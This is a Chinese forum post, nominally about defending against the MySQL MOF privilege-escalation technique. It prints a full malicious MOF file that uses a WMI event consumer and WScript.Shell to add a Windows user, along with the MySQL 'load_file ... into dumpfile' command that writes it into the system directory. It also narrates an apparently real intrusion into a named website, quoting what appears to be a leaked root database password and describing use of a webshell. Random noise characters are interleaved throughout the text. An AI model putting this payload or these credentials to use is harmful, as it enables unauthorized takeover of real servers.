Mysql mof扩展漏洞防范方法
* K( V3 Y, u/ F( p" J
" U1 l9 J$ C# K# y( {0 J* U网上公开的一些利用代码:
" r3 @; _ g) L/ S$ t% E% |4 F) l7 z& o7 M# E, U
#pragma namespace(“\\\\.\\root\\subscription”)/ j: |6 A$ D* Q0 x/ d
7 G( s; o' B$ K9 y$ e, ainstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
# U2 W K+ i/ T- v" R+ z6 k
! O) K4 s' |1 y3 z . C& G+ j) Y* }7 \5 U
6 s6 h( [$ z9 _# d
* _& X- M8 _" Q8 ?$ K6 ~
5 M. h, [7 {" L: C2 A/ \# F: F0 o连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
% E3 e( _* s- ~& G& ~! v9 y$ V从上面代码来看得出解决办法:+ B I6 j4 {$ {( r8 E( _
7 j* x; f1 L9 ~
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数2 l9 L& a1 w8 X8 d+ L( j; n9 Y
6 _6 a! T) |7 w
2、禁止使用”WScript.Shel”组件4 ~# @: V3 b9 A6 B7 _
8 I& O6 ?1 z9 L' B1 ^) _3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
# H4 N! |, ]1 ^ z: S @0 M" Y& T! r9 e M4 F& \
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下. u' K- L2 V! }/ m5 V$ J
! {3 t! g. k/ J- y1 t; o& t) q事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权/ J0 ^) ]* Y: k! I; C/ Z! t& c5 t3 X
: J$ l4 V# g+ g9 m但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
# z6 ~. |4 J' N( `
3 r, i$ x0 _) S8 e4 A看懂了后就开始练手吧4 U( x* e; b3 \3 P/ `5 y
% J$ H& e" N" Yhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
4 Z( a: X' [- r, q
6 s! t* [: |9 \# u1 i* R# D* {$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
1 t0 n% ~0 [8 _% X( Z* `/ L4 W
6 ?# C g. I5 Z0 {% |+ `于是直接用菜刀开搞
0 `+ h( m/ w- q3 J# A, |: o
f- a2 ~# H" C上马先' W* ]( u9 m8 _6 c1 F8 [
4 Y: d4 b% r0 ^5 y/ @
既然有了那些账号 之类的 于是我们就执行吧…….! H% E s) d( A) u' Q
d* {9 L( P+ G6 P& l1 U小小的说下
5 O7 W+ F4 Z. j8 g+ I. v: r2 |1 k# g5 I+ Q. U& k0 o
在这里第1次执行未成功 原因未知
, Z; r/ `; N/ W6 a1 ], V. u. `7 v- [. H0 z* o3 v
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
% s5 j9 f- d4 h4 U6 w, o: R( b0 T9 a; {. U1 C! S o c
#pragma namespace(“\\\\.\\root\\subscription”)
% G/ e5 {/ A! D: _' u, T0 |) T& @2 }
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
7 z& }: ~6 V: @, K$ q
4 W. a; _) x, Z5 W" r我是将文件放到C:\WINDOWS\temp\1.mof
2 D- P' U. g9 J* q4 Z6 H( `; ?
1 O' M- N8 W4 z7 b1 S所以我们就改下执行的代码 r& G- n! Y6 s$ M, |
2 I. a! _, @- i E$ V- y$ j e* C( aselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;2 R% G' Y2 A+ o0 J. ~( P
( F$ C9 [- ^, h
) a8 m- t9 H# B- `
; ?! Q! p2 o. J但是 你会发现账号还是没有躺在那里。。
+ l. I }+ k: z, v6 ~6 I+ T8 ]
/ a9 X' ~% i9 h9 s1 `于是我就感觉蛋疼' L4 P8 X+ R3 a# d, j& J3 u
5 @- d& M4 l6 s就去一个一个去执行 但是执行到第2个 mysql时就成功了………) S! ~* [5 c' J: m
( T: p& O: I) N" ?8 X) T6 `
9 K! l9 O" A$ J% t9 t+ a( s# i6 E
* X' r; F4 F% y$ Z; G4 x3 q但是其他库均不成功…( D5 ~& d4 d, ?0 z
0 c A2 K3 J8 ?4 ^5 T
我就很费解呀 到底为什么不成功求大牛解答…: J) z5 @) O! r/ } r( R
; S M3 K2 Y) |: Q% q: o' R) N2 E5 L8 z# {+ L
3 G5 g& {" `' D l |